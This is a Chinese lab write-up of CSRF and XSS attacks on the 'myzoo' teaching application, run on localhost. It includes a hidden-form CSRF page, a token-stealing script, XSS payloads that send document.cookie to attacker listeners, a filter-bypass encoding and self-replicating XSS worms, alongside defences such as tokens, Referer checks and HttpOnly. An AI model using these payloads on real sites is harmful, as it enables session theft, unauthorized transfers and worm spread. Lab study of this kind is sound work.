当前位置: 代码迷 >> 综合 >> 信息安全实践-Lab3 CSRF XSS
  详细解决方案

信息安全实践-Lab3 CSRF XSS

热度:40   发布时间:2024-01-09 06:21:39.0

Part 0 Config

1、ubuntu下如下配置

# 配置hosts
sudo gedit /etc/hosts
127.0.0.1     www.myzoo.com
127.0.0.2     www.attack.com# 配置虚拟主机
sudo gedit /etc/apache2/sites-available/default-ssl.conf.conf
<VirtualHost 127.0.0.2:80>ServerAdmin attack@localhostDocumentRoot /var/www/attack
</VirtualHost># 重启apache
sudo a2ensite default-ssl.conf.conf
sudo service apache2 restart

2、mac下如下配置

# 配置hosts
sudo gedit /etc/hosts
127.0.0.1   localhost
127.0.0.1   myzoo.com
127.0.0.1   attack.com
255.255.255.255 broadcasthost
::1             localhost# 配置虚拟主机
## 修改httpd.conf
sudo gedit /etc/apache2/httpd.conf
Listen 80 
Listen 88 #攻击者端口# Virtual hosts
Include /private/etc/apache2/extra/httpd-vhosts.conf## 修改httpd-vhosts.conf
sudo gedit /etc/apache2/extra/httpd-vhosts.conf
<VirtualHost *:80>ServerAdmin myzoo.comDocumentRoot "/Library/WebServer/myzoo"ServerName myzoo.comServerAlias myzoo.comErrorLog "/Users/shiqingwang/Dev/myzoo/error_log"CustomLog "/Users/shiqingwang/Dev/myzoo/access_log" common<Directory "/Users/shiqingwang/Dev/myzoo">Options Indexes FollowSymLinks  AllowOverride None</Directory>
</VirtualHost><VirtualHost *:88>ServerAdmin attack.comDocumentRoot "/Library/WebServer/attack"ServerName attack.comServerAlias attack.comErrorLog "/Users/shiqingwang/Dev/attack/error_log"CustomLog "/Users/shiqingwang/Dev/attack/access_log" common<Directory "/Users/shiqingwang/Dev/attack">Options Indexes FollowSymLinks  AllowOverride None</Directory>
</VirtualHost># 重启apache
sudo apachectl restart
sudo apachectl -t

Part A CSRF

CSRF(Cross-Site Request Forgery,跨站点伪造请求)是一种网络攻击方式,该攻击可以在受害者毫不知情的情况下以受害者名义伪造请求发送给受攻击站点,从而在未授权的情况下执行在权限保护之下的操作,具有很大的危害性。具体来讲,可以这样理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。

CSRF攻击原理比较简单,如图1所示。其中Web A为存在CSRF漏洞的网站,Web B为攻击者构建的恶意网站,User C为Web A网站的合法用户。

csrf.png

  1. 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
  2. 在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
  3. 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
  4. 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
  5. 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。

一、模拟CSRF攻击

  • 攻击者编写如下代码,刷新即可,偷取受害者的zoobars
<html> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>XSS</title> 
</head> 
<body> 
<center> 
<h2>刷新偷取受害者的zoobars</h2>  <iframe name="myframe" style="display:true" src="http://myzoo.com/transfer.php" ></iframe> <script> function createInput(sfForm,type,name,value) {
      var tmpInput = document.createElement("input"); tmpInput.type = type; tmpInput.name = name; tmpInput.value = value; sfForm.appendChild(tmpInput); } var f = document.createElement("form"); document.body.appendChild(f); createInput(f,"hidden","zoobars",1); createInput(f,"hidden","recipient","wsq"); createInput(f,"hidden","submission","Send"); f.action = "http://myzoo.com/transfer.php"; f["target"]="myframe"; f.method = "post" f.submit(); </script></body> 
</html> 
  • 刷新前
    fafter.png

  • 刷新攻击者页面
    flash.png

  • 刷新后
    fafter.png

二、防御CSRF攻击

服务器端防御
1、重要数据交互采用POST进行接收,当然是用POST也不是万能的,伪造一个form表单即可破解
2、使用验证码,只要是涉及到数据交互就先进行验证码验证,这个方法可以完全解决CSRF。但是出于用户体验考虑,网站不能给所有的操作都加上验证码。因此验证码只能作为一种辅助手段,不能作为主要解决方案。
3、验证HTTP Referer字段,该字段记录了此次HTTP请求的来源地址,最常见的应用是图片防盗链。PHP中可以采用APache URL重写规则进行防御,
4、为每个表单添加令牌token并验证

方法一、验证HTTP Referer
echo $_SERVER['HTTP_REFERER'];
if ($_SERVER['HTTP_REFERER'] != "http://myzoo.com/transfer.php") {echo "transfer fail";}else{echo "transfer pass";
}
方法二、添加令牌token并验证

开启session,并生成token字段

<?php session_start();$_SESSION["csrf"] = md5(uniqid(mt_rand(), true)); ?>

在form中添加隐藏字段

<input type=hidden name=csrf value="<?php echo $_SESSION["csrf"]?>"/>

csrf.png

通过ajax绕过token

<script>
var a = new XMLHttpRequest();
var t,context;
a.onreadystatechange=function()
{if(a.readyState==4){context = (a.responseText);alert(context.substr(context.indexOf("csrf")+12,32))console.log("context:"+context)             console.log("csrf:"+context.substr(context.indexOf("csrf")+12,32))t = context.substr(context.indexOf("csrf")+12,32);}
};
a.open("GET","http://localhost/transfer.php",false);
a.send();console.log("t:"+t);var form = new FormData();
form.append("recipient","wsq");
form.append("zoobars","1");
form.append("submission","Send");
form.append("csrf",t);
var req = new XMLHttpRequest();
req.open("POST","http://localhost/transfer.php",true);
req.send(form);
</script>

Part B XSS

XSS分类
1. 反射型XSS(非持久性攻击):经过后端,不经过数据库
2. 存储型XSS(持久性攻击):经过后端,经过数据库
3. DOM XSS:不经过后端,DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞,dom - xss是通过url传入参数去控制触发的。

??XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有 XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户 Cookie、破坏页面结构、重定向到其它网站等。

??XSS攻击类似于SQL注入攻击,攻击之前,我们先找到一个存在XSS漏洞的网站。理论上,所有可输入的地方没有对输入数据进行处理的话,都会存在XSS漏洞,漏洞的危害取决于攻击代码的威力。
我们实验中的XSS代码会保存在数据库中,也称为Stored XSS,也即存储式XSS漏洞。由于其攻击代码作为合法的输入已经存储到服务器上的数据库中,其他人在访问该页面的时候,服务器会自动地从数据库中取出该攻击串返回给用户,然后用户的浏览器则会自动执行该段代码,因此,攻击者只需要在自己的页面中写上攻击代码,其他所有访问该页面的人都会受到攻击。

一、模拟XSS攻击

注意:如果不修改myzoo/user.php源码,很难实现XSS攻击。

不修改源码的话,通过各种编码绕过过滤:

<a href=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74:alert(1)>hello</a>
1、修改 myzoo/user.php源码
$allowed_tags = '<script><a><br><b><h1><h2><h3><h4><i><img><li><ol><p><strong><table>' .'<tr><td><th><u><ul><em><span>';
$disallowed = 'eval|setTimeout|setInterval|target|'.'onAbort|onBlur|onChange|onClick|onDblClick|'.'onDragDrop|onFocus|onKeyDown|onKeyPress|'.'onKeyUp|onLoad|onMouseDown|onMouseMove|onMouseOut|'.'onMouseOver|onMouseUp|onMove|onReset|onResize|'.'onSelect|onSubmit|onUnload';
2、XSS攻击

注意:当然还可以读获取过来的隐私数据(cookie值),写入文件,这里只简单的讲下如下的几种。

3、反射型XSS

当前页面打印cookie值

  • 在user.php页面中输入如下代码:
a"><script>alert(1);</script><inpute type="text" style = "display:none;"value ="
  • 弹出”1”。
    image.png

其他代码如下,后台监听2002端口,即可打印cookie。

a"><script>(new Image()).src="http://localhost:2002?payload="+document.cookie </script><inpute type="text" style = "display:none;"value ="
4、存储型XSS

方法一、存储型XSS:通过网页,获取cookie

  • 在index.php页面的Your profile:输入如下代码,并保存。
<img src=x onerror=javascript:window.open(\"http://localhost:88/?cookie=\"+document.cookie) />
  • 通过php后台获取数据,并打印传过来的参数值。
<?php $cookie = $_GET['cookie']; if(isset($cookie)){ echo 'get cookie: '.$cookie; }else{ echo 'not get cookie'; } ?>
  • 在user.php页面中输入用户名,点击view,页面重定位到攻击者的网页,获取数据并打印。
    attack.png

方法二、存储型XSS:偷取zoobars

  • 登录用户User:wcc,zoobars = 10
  • 在index.php页面的Your profile:输入如下代码,并保存。
<iframe name="myframe" style="display:none"></iframe>
<script>
var f=document.createElement("form");
f.method="post";
f.id="myform";
f["target"]="myframe";
f.action="/transfer.php";
f.style.display="none";var i = document.createElement("input");
i.name="zoobars";
i.value=1;
f.appendChild(i);var i = document.createElement("input");
i.name="recipient";
i.value="wsq";
f.appendChild(i);var i = document.createElement("input");
i.name="submission";
i.value="Send";
f.appendChild(i);document.getElementsByTagName("body")[0].appendChild(f);
document.forms["myform"].submit();
</script>
  • 在user.php页面中输入用户名”wcc”,点击view
  • 再次check,发现wcc的zoobars = 9,同时wsq的zoobars = 11
    image.png
5、DOM XSS

利用DOM漏洞,获取cookie

  • 在index.php页面的Your profile:输入如下代码,并保存。
<img src=x onerror=s=createElement(\'script\');body.appendChild(s);s.src=\'http://localhost:8088/?cookie=\'+document.cookie;>
  • 通过node后台监听 localhost:8088端口,并打印传过来的参数值。

  • 在user.php页面中输入用户名,点击view,发现DOM下多了个script标签,同时node监听到8088端口,获取数据并打印。

image.png

node.png

二、防御XSS攻击

1、完善的过滤体系

??永远不相信用户的输入。需要对用户的输入进行处理,只允许输入合法的值,其它值一概过滤掉。

2、Html encode

??假如某些情况下,我们不能对用户数据进行严格的过滤,那我们也需要对标签进行转换。

3、HttpOnly防止劫取Cookie

??HttpOnly最早由微软提出,至今已经成为一个标准。浏览器将禁止页面的Javascript访问带有HttpOnly属性的Cookie。目前主流浏览器都支持,HttpOnly解决是XSS后的Cookie支持攻击。
- 修改代码前
before.png

  • 修改auth.php代码,设置httponly=true
// setcookie($this->cookieName, $cookieData, time() + 31104000);setcookie($this->cookieName, $cookieData, time() + 31104000,NULL,NULL,NULL,true);
  • 修改代码后,只弹出未设置httponly=true的部分cookie
    after.png

Worm: change your zoobars and profile

原理应该是偷取zoobar和更改profile同时进行,
修改profile为下述内容, 下文中的username需要根据自己的用户名就行修改

XSS版本一
<span id="hack"><script>xmlhttp=new XMLHttpRequest();xmlhttp.open("POST","http://www.myzoo.com/transfer.php",false);xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");xmlhttp.send("zoobars=1&recipient=username&submission=Send");xmlhttp=new XMLHttpRequest();xmlhttp.open("POST","http://www.myzoo.com/index.php",true);xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");str = "<span id=hack>"str += document.getElementById("hack").innerHTML + "</span>";str = encodeURIComponent(str);str = "profile_submit=Save&profile_update=" + str;xmlhttp.send(str);</script>
</span>
XSS版本二
var worm = '\n' + 
'<iframe name="it1" style="display:none" id="it1"></iframe>\n' +
'<iframe name="it2" style="display:none" id="it2"></iframe>\n' +
'<script src="http://localhost/xss.js"></script>\n' +
'<script>\n' + 'xssProfile();\n' + 'xssZoobar();\n' + 'function xssProfile() {
     \n' + ' var formEm = document.createElement("form");\n' + ' formEm.action = "/index.php";\n' + ' formEm.method = "post";\n' + ' formEm["tar"+"get"] ="it1";\n' + ' formEm.style.display = "none";\n' + ' var newProfile = worm;\n' + ' var opt = document.createElement("textarea");\n' + ' opt.name = "profile_update";\n' + ' opt.value = newProfile;\n' + ' formEm.appendChild(opt);\n' + ' opt = document.createElement("input");\n' + ' opt.name = "profile_submit";\n' + ' opt.value = "Save";\n' + ' formEm.appendChild(opt); \n' + ' document.body.appendChild(formEm);\n' + ' formEm.submit();\n' + ' }\n' + ' function xssZoobar() {
     \n' + ' var formEm = document.createElement("form");\n' + ' formEm.action = "/transfer.php";\n' + ' formEm.method = "post";\n' + ' formEm["tar"+"get"] ="it2";\n' + ' formEm.style.display = "none";\n' + ' var opt = document.createElement("input");\n' + ' opt.name = "zoobars";\n' + ' opt.value = 1;\n' + ' formEm.appendChild(opt);\n' + ' opt = document.createElement("input");\n' + ' opt.name = "recipient";\n' + ' opt.value = "xss";\n' + ' formEm.appendChild(opt);\n' + ' opt = document.createElement("input");\n' + ' opt.name = "submission";\n' + ' opt.value = "Send";\n' + ' formEm.appendChild(opt); \n' + ' document.body.appendChild(formEm);\n' + ' formEm.submit();\n' + ' }\n' + '</script>';
CSRF版本
<!DOCTYPE html>
<html lang="zh-cn"><head><meta http-equiv="Content-Type" content="text/html;charset=UTF-8"/><title>CSRF Attack</title></head><body><iframe name="it1" style="display:none" width="600px" height="450px"></iframe><iframe name="it2" style="display:none" width="600px" height="450px"></iframe><form method="POST"name="transferform"action="http://localhost/transfer.php" target="it1" id="transferform"style="display:none"><input name="zoobars" type="text" value="1" size="5"><input name="recipient" type="text" value="csrf"><input type="hidden" name="submission" value="Send"></form><form method="POST" name="profileform"action="http://localhost/index.php"target="it2" id="profileform"style="display:none"><textarea name="profile_update"><a href=\'http://localhost:88/worm.html\'>click me</a></textarea><input type="hidden" name="profile_submit" value="Save"></form><h1>Haha</h1><p>I think I change your zoobars and profile</p><script type="text/javascript">form1 = document.getElementById("transferform");form1.submit();form2 = document.getElementById("profileform");form2.submit();</script></body>
</html>

以上。

  相关解决方案